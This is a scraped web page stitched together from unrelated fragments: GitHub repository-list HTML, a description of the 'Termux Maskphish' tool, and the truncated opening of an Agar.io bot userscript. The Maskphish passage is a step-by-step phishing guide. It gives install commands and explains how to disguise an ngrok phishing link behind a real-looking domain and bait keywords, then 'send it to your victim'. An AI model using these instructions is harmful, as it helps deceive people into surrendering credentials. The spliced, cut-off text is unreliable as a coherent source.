9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Forks</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_archived" value="archived" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Archived</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_mirror" value="mirror" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Mirrors</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_template" value="template" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Templates</span> </label> </div> </div> </details-menu> </details> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0" id="language-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Language</span> <span class="d-none" data-menu-button> All </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu mt-1 mt-lg-0 mr-md-2 ml-md-2 right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select language</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="language-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="language" id="language_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>All</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="language" id="language_html" value="html" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>HTML</span> </label> </div> </div> </details-menu> </details> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0 ml-1" id="sort-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Sort</span> <span class="d-none" data-menu-button> Last updated </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select order</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="sort-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="sort" id="sort_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Last updated</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="sort" id="sort_name" value="name" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Name</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="sort" id="sort_stargazers" value="stargazers" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Stars</span> </label> </div> </div> </details-menu> </details> </div> </div> </form> <div class="d-none d-md-flex flex-md-items-center flex-md-justify-end"> <a href="/new" class="text-center btn btn-primary ml-3"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> New </a> </div> </div> </div> <div id="user-repositories-list"> <ul data-filterable-for="your-repos-filter" data-filterable-type="substring"> <li class="col-12 d-flex flex-justify-between width-full py-4 border-bottom color-border-muted public source" itemprop="owns" itemscope itemtype="http://schema.org/Code"> <div class="col-10 col-lg-9 d-inline-block"> <div class="d-inline-block mb-1"> <h3 class="wb-break-all"> <a href="/chikitang/github-pages" itemprop="name codeRepository" > github-pages</a> <span></span><span class="Label Label--secondary v-align-middle ml-1 mb-1">Public</span> </h3> </div> <div> <p class="col-9 d-inline-block color-fg-muted mb-2 pr-4" itemprop="description"> A robot powered training repository <g-emoji class="g-emoji" alias="robot" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f916.png">🤖</g-emoji> </p> </div> <div class="f6 color-fg-muted mt-2"> <span class="ml-0 mr-3"> <span class="repo-language-color" style="background-color: #e34c26"></span> <span itemprop="programmingLanguage">HTML</span> </span> <span class="mr-3"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-law mr-1"> <path fill-rule="evenodd" d="M8.75.75a.75.75 0 00-1.5 0V2h-.984c-.305 0-.604.08-.869.23l-1.288.737A.25.25 0 013.984 3H1.75a.75.75 0 000 1.5h.428L.066 9.192a.75.75 0 00.154.838l.53-.53-.53.53v.001l.002.002.002.002.006.006.016.015.045.04a3.514 3.514 0 00.686.45A4.492 4.492 0 003 11c.88 0 1.556-.22 2.023-.454a3.515 3.515 0 00.686-.45l.045-.04.016-.015.006-.006.002-.002.001-.002L5.25 9.5l.53.53a.75.75 0 00.154-.838L3.822 4.5h.162c.305 0 .604-.08.869-.23l1.289-.737a.25.25 0 01.124-.033h.984V13h-2.5a.75.75 0 000 1.5h6.5a.75.75 0 000-1.5h-2.5V3.5h.984a.25.25 0 01.124.033l1.29.736c.264.152.563.231.868.231h.162l-2.112 4.692a.75.75 0 00.154.838l.53-.53-.53.53v.001l.002.002.002.002.006.006.016.015.045.04a3.517 3.517 0 00.686.45A4.492 4.492 0 0013 11c.88 0 1.556-.22 2.023-.454a3.512 3.512 0 00.686-.45l.045-.04.01-.01.006-.005.006-.006.002-.002.001-.002-.529-.531.53.53a.75.75 0 00.154-.838L13.823 4.5h.427a.75.75 0 000-1.5h-2.234a.25.25 0 01-.124-.033l-1.29-.736A1.75 1.75 0 009.735 2H8.75V.75zM1.695 9.227c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L3 6.327l-1.305 2.9zm10 0c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L13 6.327l-1.305 2.9z"></path> </svg>MIT License </span> Updated <relative-time datetime="2022-06-08T03:58:07Z" class="no-wrap">Jun 7, 2022</relative-time> </div> </div> <div class="col-2 d-flex flex-column flex-justify-around flex-items-end ml-3"> <template class="js-unstar-confirmation-dialog-template"> <div class="Box-header"> <h2 class="Box-title">Unstar this repository?</h2> </div> <div class="Box-body"> <p class="mb-3"> This will remove {{ repoNameWithOwner }} from the {{ listsWithCount }} that it's been added to. </p> <div class="form-actions"> <form class="js-social-confirmation-form" data-turbo="false" action="{{ confirmUrl }}" accept-charset="UTF-8" method="post"> <input type="hidden" name="authenticity_token" value="{{ confirmCsrfToken }}"> <input type="hidden" name="confirm" value="true"> <button data-close-dialog="true" type="submit" data-view-component="true" class="btn-danger btn width-full"> Unstar </button> </form> </div> </div> </template> <div data-view-component="true" class="js-toggler-container js-social-container starring-container BtnGroup d-flex"> <form class="starred js-social-form BtnGroup-parent flex-auto js-deferred-toggler-target" data-turbo="false" action="/chikitang/github-pages/unstar" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="P3ZaMuVNtLT4QUVj9SZ3_76QeVS-3FOc0gP3XVwVBgRcLVKXCTCdvdJ6obMwUrBCGfd2XQVN_W7IuZa7njBcNA" autocomplete="off" /> <input type="hidden" value="KnKZMI3CU5RojoPkAik3DUoD4aqrgGVadUrVgfAoCJRJKZGVYb96nUK1ZzTHXfCw7WTuoxARy6hv8LRnMg1SpA" data-csrf="true" class="js-confirm-csrf-token" /> <input type="hidden" name="context" value="other"> <button data-hydro-click="{&quot;event_type&quot;:&quot;repository.click&quot;,&quot;payload&quot;:{&quot;target&quot;:&quot;UNSTAR_BUTTON&quot;,&quot;repository_id&quot;:501093064,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;,&quot;user_id&quot;:107093285}}" data-hydro-click-hmac="f34c8205d1678d4ae0e77c4839fbb14d3a9fd63160652b28998f8827c527e5a2" data-ga-click="Repository, click unstar button, action:profiles/repositories#index; text:Unstar" aria-label="Unstar this repository" type="submit" data-view-component="true" class="rounded-left-2 border-right-0 btn-sm btn BtnGroup-item"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star-fill starred-button-icon d-inline-block mr-2"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25z"></path> </svg><span data-view-component="true" class="d-inline"> Starred </span> </button></form> <form class="unstarred js-social-form BtnGroup-parent flex-auto" data-turbo="false" action="/chikitang/github-pages/star" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="VdD5gHR0SaNWuuE-4Huf1LFVNH_kIFLksg8psuv1LDDU6Ha53YRem4Yp2ZrIpb7eKSa1cf-yR9oZDpa0b5XdgA" autocomplete="off" /> <input type="hidden" name="context" value="other"> <button data-hydro-click="{&quot;event_type&quot;:&quot;repository.click&quot;,&quot;payload&quot;:{&quot;target&quot;:&quot;STAR_BUTTON&quot;,&quot;repository_id&quot;:501093064,&quot;originating_url&quot;:&quot;https://github.com/chikitang?tab=repositories&quot;,&quot;user_id&quot;:107093285}}" data-hydro-click-hmac="5cd067574b17d3257d89fbe1c8c675a553eb8e3ad7cea5efb3cf0e75d36f0801" data-ga-click="Repository, click star button, action:profiles/repositories#index; text:Star" aria-label="Star this repository" type="submit" data-view-component="true" class="js-toggler-target rounded-left-2 btn-sm btn BtnGroup-item"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star d-inline-block mr-2"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg><span data-view-component="true" class="d-inline"> Star </span> </button></form> <details id="details-user-list-501093064" data-view-component="true" class="details-reset details-overlay BtnGroup-parent js-user-list-menu d-inline-block position-relative"> <summary aria-label="Add this repository to a list" data-view-component="true" class="btn-sm btn BtnGroup-item px-2 float-none"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="M4.427 7.427l3.396 3.396a.25.25 0 00.354 0l3.396-3.396A.25.25 0 0011.396 7H4.604a.25.25 0 00-.177.427z"></path> </svg> </summary> <details-menu class="SelectMenu right-0" src="/chikitang/github-pages/lists" role="menu" > <div class="SelectMenu-modal"> <button class="SelectMenu-closeButton position-absolute right-0 m-2" type="button" aria-label="Close menu" data-toggle-for="details-91edb5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div id="filter-menu-91edb5" class="d-flex flex-column flex-1 overflow-hidden" > <div class="SelectMenu-list" > <include-fragment class="SelectMenu-loading" aria-label="Loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </include-fragment> </div> </div> </div> </details-menu> </details> </div> <div class="text-right hide-lg hide-md hide-sm hide-xs flex-self-end "> <poll-include-fragment src="/chikitang/github-pages/graphs/participation?h=28&amp;type=sparkline&amp;w=155"> </poll-include-fragment> </div> </div> </li> </ul> <div class="paginate-container"> </div> </div> </div> </div> </div> </div></div> </main> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <ul class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <li class="mt-2 mt-lg-0 d-flex flex-items-center"> <a aria-label="Homepage" title="GitHub" class="footer-octicon mr-2" href="https://github.com"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> <span> &copy; 2022 GitHub, Inc. </span> </li> </ul> <ul class="list-style-none d-flex flex-wrap col-12 col-lg-8 flex-justify-center flex-lg-justify-between mb-2 mb-lg-0"> <li class="mr-3 mr-lg-0"><a href="https://docs.github.com/en/github/site-policy/github-terms-of-service" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to terms&quot;,&quot;label&quot;:&quot;text:terms&quot;}">Terms</a></li> <li class="mr-3 mr-lg-0"><a href="https://docs.github.com/en/github/site-policy/github-privacy-statement" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to privacy&quot;,&quot;label&quot;:&quot;text:privacy&quot;}">Privacy</a></li> <li class="mr-3 mr-lg-0"><a data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to security&quot;,&quot;label&quot;:&quot;text:security&quot;}" href="https://github.com/security">Security</a></li> <li class="mr-3 mr-lg-0"><a href="https://www.githubstatus.com/" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to status&quot;,&quot;label&quot;:&quot;text:status&quot;}">Status</a></li> <li class="mr-3 mr-lg-0"><a data-ga-click="Footer, go to help, text:Docs" href="https://docs.github.com">Docs</a></li> <li class="mr-3 mr-lg-0"><a href="https://support.github.com?tags=dotcom-footer" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to contact&quot;,&quot;label&quot;:&quot;text:contact&quot;}">Contact GitHub</a></li> <li class="mr-3 mr-lg-0"><a href="https://github.com/pricing" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to Pricing&quot;,&quot;label&quot;:&quot;text:Pricing&quot;}">Pricing</a></li> <li class="mr-3 mr-lg-0"><a href="https://docs.github.com" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to api&quot;,&quot;label&quot;:&quot;text:api&quot;}">API</a></li> <li class="mr-3 mr-lg-0"><a href="https://services.github.com" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to training&quot;,&quot;label&quot;:&quot;text:training&quot;}">Training</a></li> <li class="mr-3 mr-lg-0"><a href="https://github.blog" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to blog&quot;,&quot;label&quot;:&quot;text:blog&quot;}">Blog</a></li> <li><a data-ga-click="Footer, go to about, text:about" href="https://github.com/about">About</a></li> </ul> </div> <div class="d-flex flex-justify-center pb-6"> <span class="f6 color-fg-muted"></span> </div> </footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> <span class="js-stale-session-flash-signed-in" hidden>You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span> <span class="js-stale-session-flash-signed-out" hidden>You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details> </template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div> </div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path> </svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> </clipboard-copy> </div> </template> <style> .user-mention[href$="/chikitang"] { color: var(--color-user-mention-fg); background-color: var(--color-user-mention-bg); border-radius: 2px; margin-left: -2px; margin-right: -2px; padding: 0 2px; } </style> </body> </html>

    From user chikitang

  • clino-mania / maskphish

    names.io, Termux Maskphish : Mask URL in Termux It takes time to install the Phishing Tool and then After doing the tedious setup when we send the URL to the victim, they don't click it Because the URL Looks Like this http://c162dc9a1a2e.ngrok.io/. Termux Maskphish is a Tool that Masks or Shortens the URL with real domain names, It can take ngrok url and convert it to a perfect Looking URL like this https://[email protected]/qi4ff. This URL is far better than the Ngrok link. You can mask any URL with This tool, You can add any website name at the start and you can even add keywords so that it can match to your Social Engineering tactics. $ apt update && apt upgrade $ pkg install git $ git clone https://github.com/khansaad1275/maskphish $ cd maskphish $ bash maskphish.sh Now you will see the Logo of mask URL and below you will see "Paste Phishing URL here", Just Long press on the screen of termux and you will see the paste option, Just click on the paste the URL and press Enter. Now you see the masking Domain option, Here you can type the name of any website you want without including any slash "/", for example. After typing the domain, Press Enter. Now you will see "Type social Engineering words", Here you can type any things that is suitable for your Social Engineering technique, If you are doing this for social media account then you can write get-blue-tick-in-24-hrs or you can type Instagram-1000-followers-every-day there are infinity possibility just keep in mind that you can Not put space between the words, instead of Space you have to use (''-' Dash Now you will see Your Masked URL, Just Copy The masked URL and send it to your victim

    From user clino-mania

  • dickdumbr1 / aim

    names.io, Skip to content Sign up Sign in This repository Search Explore Features Enterprise Pricing Watch 137 Star 490 Fork 1,535 Apostolique/Agar.io-bot Branch: master Agar.io-bot/launcher.user.js @ApostoliqueApostolique 10 days ago Easier to see the borders 7 contributors @Apostolique @DarkN3ss61 @Linkaan @Timtech @henopied @Gjum @lilezek RawBlameHistory 2456 lines (2277 sloc) 93.893 kB /*The MIT License (MIT) Copyright (c) 2015 Apostolique Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/ // ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 4.123 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 4.123; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; }; var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data.data); console.log("hmm: " + data.data.object.sha); sha = data.data.object.sha; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 